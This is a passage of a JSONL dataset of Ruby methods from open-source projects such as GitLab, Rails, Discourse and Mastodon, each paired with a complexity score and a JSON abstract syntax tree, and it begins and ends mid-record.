(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes) ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"dbeb4741-152f-404b-bb78-d1cc58e507f0"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/class_structure.rb","start_line":229,"raw_source":"def classify(node)\n          return node.to_s unless node.respond_to?(:type)\n\n          case node.type\n          when :block\n            classify(node.send_node)\n          when :send\n            find_category(node)\n          else\n            humanize_node(node)\n          end.to_s\n        end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"classify\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"type\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"block\"]},{\"type\":\"send\",\"children\":[null,\"classify\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"send_node\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"send\"]},{\"type\":\"send\",\"children\":[null,\"find_category\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"humanize_node\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},\"to_s\"]}]}]}","id":"cc6976d5-0970-41dd-ab41-b8075bc6de9f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/lib/rails3_config_processor.rb","start_line":64,"raw_source":"def process_call exp\n    return exp unless @inside_config\n\n    if exp.target == RAILS_CONFIG and exp.first_arg\n      @tracker.config.rails[exp.method] = exp.first_arg\n    end\n\n    exp\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process_call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inside_config\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"target\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"RAILS_CONFIG\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"first_arg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracker\"]},\"config\"]},\"rails\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"first_arg\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]}","id":"5c37e19a-f79e-4a39-8b38-e44dd123ff8d"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/user_query.rb","start_line":188,"raw_source":"def query_must_return_users\n    return if query.blank?\n\n    # Basic check that query selects user ID\n    return if query.upcase.include?(\"ID\") || query.upcase.include?(\"users.id\")\n\n    errors.add(:query, \"must select user ID (id or users.id)\")\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"query_must_return_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"upcase\"]},\"include?\",{\"type\":\"str\",\"children\":[\"ID\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"upcase\"]},\"include?\",{\"type\":\"str\",\"children\":[\"users.id\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"str\",\"children\":[\"must select user ID (id or users.id)\"]}]}]}]}","id":"1ed8a14e-a85f-4d14-9d80-d5d9099578ba"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20200611104600_create_missing_badge_indexes.rb","start_line":11,"raw_source":"def up\n    execute \"CREATE INDEX IF NOT EXISTS index_user_badges_on_user_id ON public.user_badges USING btree (user_id)\"\n    execute \"CREATE INDEX IF NOT EXISTS index_badges_on_badge_type_id ON public.badges USING btree (badge_type_id)\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"CREATE INDEX IF NOT EXISTS index_user_badges_on_user_id ON public.user_badges USING btree (user_id)\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"CREATE INDEX IF NOT EXISTS index_badges_on_badge_type_id ON public.badges USING btree (badge_type_id)\"]}]}]}]}","id":"7aa9db0a-f610-4a41-8c06-5b922e3d7cb9"}
{"repo_name":"rack","file_path":"./repos/rack/test/spec_headers.rb","start_line":383,"raw_source":"def test_rassoc\n    assert_nil @h.rassoc('1')\n    assert_equal ['ab', '1'], @fh.rassoc('1')\n    assert_equal ['cd', '2'], @fh.rassoc('2')\n    assert_nil @fh.rassoc('3')\n    assert_equal ['3', '4'], @fh.rassoc('4')\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rassoc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@h\"]},\"rassoc\",{\"type\":\"str\",\"children\":[\"1\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ab\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"rassoc\",{\"type\":\"str\",\"children\":[\"1\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"cd\"]},{\"type\":\"str\",\"children\":[\"2\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"rassoc\",{\"type\":\"str\",\"children\":[\"2\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"rassoc\",{\"type\":\"str\",\"children\":[\"3\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"3\"]},{\"type\":\"str\",\"children\":[\"4\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"rassoc\",{\"type\":\"str\",\"children\":[\"4\"]}]}]}]}]}","id":"84c249fb-0c4b-4667-8598-ba65c3e8404d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/integrations/slack_options/user_search_handler.rb","start_line":8,"raw_source":"def initialize(current_user, search_value, view_id)\n        @current_user = current_user.user\n        @search_value = search_value\n        @view_id = view_id\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"search_value\"]},{\"type\":\"arg\",\"children\":[\"view_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user\"]},\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@search_value\",{\"type\":\"lvar\",\"children\":[\"search_value\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@view_id\",{\"type\":\"lvar\",\"children\":[\"view_id\"]}]}]}]}","id":"e6c16604-64bb-4653-8a07-78b68f8da67f"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/device_manager.rb","start_line":262,"raw_source":"def reset_all_by_version(os_version: nil)\n        return false unless os_version\n        all.select { |device| device.os_version == os_version }.each(&:reset)\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_all_by_version\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"os_version\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os_version\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"device\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"device\"]},\"os_version\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"os_version\"]}]}]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"reset\"]}]}]}]}]}","id":"b76a4dfb-b933-483e-8ae5-05823bae8946"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/email_domain_blocks_controller.rb","start_line":5,"raw_source":"def index\n      authorize :email_domain_block, :index?\n\n      @email_domain_blocks = EmailDomainBlock.parents.includes(:children).order(id: :desc).page(params[:page])\n      @form                = Form::EmailDomainBlockBatch.new\n    end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"sym\",\"children\":[\"email_domain_block\"]},{\"type\":\"sym\",\"children\":[\"index?\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@email_domain_blocks\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailDomainBlock\"]},\"parents\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"children\"]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@form\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Form\"]},\"EmailDomainBlockBatch\"]},\"new\"]}]}]}]}","id":"d6e67353-a639-40cd-a990-1ba357d22176"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/miq_provision_quota_mixin.rb","start_line":370,"raw_source":"def flavor(request)\n    Flavor.find(request.get_option(:instance_type)) if cloud?(request)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"flavor\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cloud?\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Flavor\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"get_option\",{\"type\":\"sym\",\"children\":[\"instance_type\"]}]}]},null]}]}","id":"0af59a14-6895-4482-b6fd-194bbb2be01d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/base_object.rb","start_line":47,"raw_source":"def current_user\n      context[:current_user]\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]}]}","id":"9ae9d344-e401-4b2f-90e8-92f2d9c8cff4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_one_associations_test.rb","start_line":246,"raw_source":"def test_restrict_with_error_with_locale\n    I18n.backend = I18n::Backend::Simple.new\n    I18n.backend.store_translations \"en\", activerecord: { attributes: { restricted_with_error_firm: { account: \"firm account\" } } }\n    firm = RestrictedWithErrorFirm.create!(name: \"restrict\")\n    firm.create_account(credit_limit: 10)\n\n    assert_not_nil firm.account\n\n    firm.destroy\n\n    assert_not_empty firm.errors\n    assert_equal \"Cannot delete record because a dependent firm account exists\", firm.errors[:base].first\n    assert RestrictedWithErrorFirm.exists?(name: \"restrict\")\n    assert_predicate firm.account, :present?\n  ensure\n    I18n.backend.reload!\n  end","complexity_score":26.73,"ast_json":"{\"type\":\"def\",\"children\":[\"test_restrict_with_error_with_locale\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"backend=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"Backend\"]},\"Simple\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"backend\"]},\"store_translations\",{\"type\":\"str\",\"children\":[\"en\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"activerecord\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attributes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"restricted_with_error_firm\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"str\",\"children\":[\"firm account\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"firm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RestrictedWithErrorFirm\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"restrict\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"create_account\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"credit_limit\"]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"account\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"errors\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Cannot delete record because a dependent firm account exists\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"base\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RestrictedWithErrorFirm\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"restrict\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"account\"]},{\"type\":\"sym\",\"children\":[\"present?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"backend\"]},\"reload!\"]}]}]}","id":"d3c8ddbe-dc17-401a-89e9-8d708cd5055f"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/base_request.rb","start_line":45,"raw_source":"def before_successful_response\n        Doorkeeper.config.before_successful_strategy_response.call(self)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"before_successful_response\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"config\"]},\"before_successful_strategy_response\"]},\"call\",{\"type\":\"self\",\"children\":[]}]}]}","id":"c59febe0-2948-479d-a9f3-e2becf4d1869"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/personal_file_uploader.rb","start_line":27,"raw_source":"def object_store\n    return Store::LOCAL unless model\n\n    super\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"object_store\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Store\"]},\"LOCAL\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"32656366-28c0-419d-a37a-f9a4998477f2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/encrypted_user_password.rb","start_line":97,"raw_source":"def password_matches?(password)\n    if bcrypt_password?\n      Devise::Encryptor.compare(self.class, encrypted_password, password)\n    elsif pbkdf2_password?\n      Devise::Pbkdf2Encryptable::Encryptors::Pbkdf2Sha512.compare(encrypted_password, password)\n    end\n  end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"password_matches?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"password\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bcrypt_password?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Devise\"]},\"Encryptor\"]},\"compare\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},{\"type\":\"send\",\"children\":[null,\"encrypted_password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pbkdf2_password?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Devise\"]},\"Pbkdf2Encryptable\"]},\"Encryptors\"]},\"Pbkdf2Sha512\"]},\"compare\",{\"type\":\"send\",\"children\":[null,\"encrypted_password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]},null]}]}]}","id":"ab08717e-c55a-442f-9489-a4e93785f922"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/settings/integrations_controller.rb","start_line":80,"raw_source":"def integration_test_response\n        integration.assign_attributes(integration_params[:integration])\n\n        unless integration.valid?\n          return {\n            error: true,\n            message: _('Validations failed.'),\n            service_response: integration.errors.full_messages.join(', '),\n            test_failed: false\n          }\n        end\n\n        result = ::Integrations::Test::ProjectService.new(integration, current_user, params[:event]).execute\n\n        unless result[:success]\n          return {\n            error: true,\n            message: s_('Integrations|Connection failed. Check your integration settings.'),\n            service_response: result[:result].to_s,\n            test_failed: true\n          }\n        end\n\n        result[:data].presence || {}\n      rescue *Gitlab::HTTP::HTTP_ERRORS => e\n        {\n          error: true,\n          message: s_('Integrations|Connection failed. Check your integration settings.'),\n          service_response: e.message,\n          test_failed: true\n        }\n      end","complexity_score":42.3,"ast_json":"{\"type\":\"def\",\"children\":[\"integration_test_response\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integration\"]},\"assign_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integration_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"integration\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integration\"]},\"valid?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Validations failed.\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_response\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integration\"]},\"errors\"]},\"full_messages\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"test_failed\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Integrations\"]},\"Test\"]},\"ProjectService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"integration\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"event\"]}]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"success\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Integrations|Connection failed. Check your integration settings.\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_response\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"result\"]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"test_failed\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},\"presence\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"HTTP\"]},\"HTTP_ERRORS\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Integrations|Connection failed. Check your integration settings.\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_response\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"test_failed\"]},{\"type\":\"true\",\"children\":[]}]}]}]},null]}]}","id":"8b752079-7391-4362-95ff-541a2be040ad"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/account_user.rb","start_line":52,"raw_source":"def remove_user_from_account\n    ::Agents::DestroyJob.perform_later(account, user)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_user_from_account\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Agents\"]},\"DestroyJob\"]},\"perform_later\",{\"type\":\"send\",\"children\":[null,\"account\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}","id":"60df1f7f-3dda-4d4d-9f77-565aabff3af6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/create_from_template_service.rb","start_line":15,"raw_source":"def execute\n      return project unless validate_template!\n\n      file = built_in_template&.file || sample_data_template&.file\n\n      override_params = params.dup\n\n      if built_in_template\n        params[:file] = built_in_template.file\n      elsif sample_data_template\n        params[:file] = sample_data_template.file\n        params[:sample_data] = true\n      end\n\n      GitlabProjectsImportService.new(current_user, params, override_params, import_type: 'gitlab_built_in_project_template').execute\n    ensure\n      file&.close\n    end","complexity_score":39.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_template!\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"built_in_template\"]},\"file\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sample_data_template\"]},\"file\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"override_params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"built_in_template\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"built_in_template\"]},\"file\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sample_data_template\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sample_data_template\"]},\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sample_data\"]},{\"type\":\"true\",\"children\":[]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitlabProjectsImportService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"params\"]},{\"type\":\"lvar\",\"children\":[\"override_params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"import_type\"]},{\"ty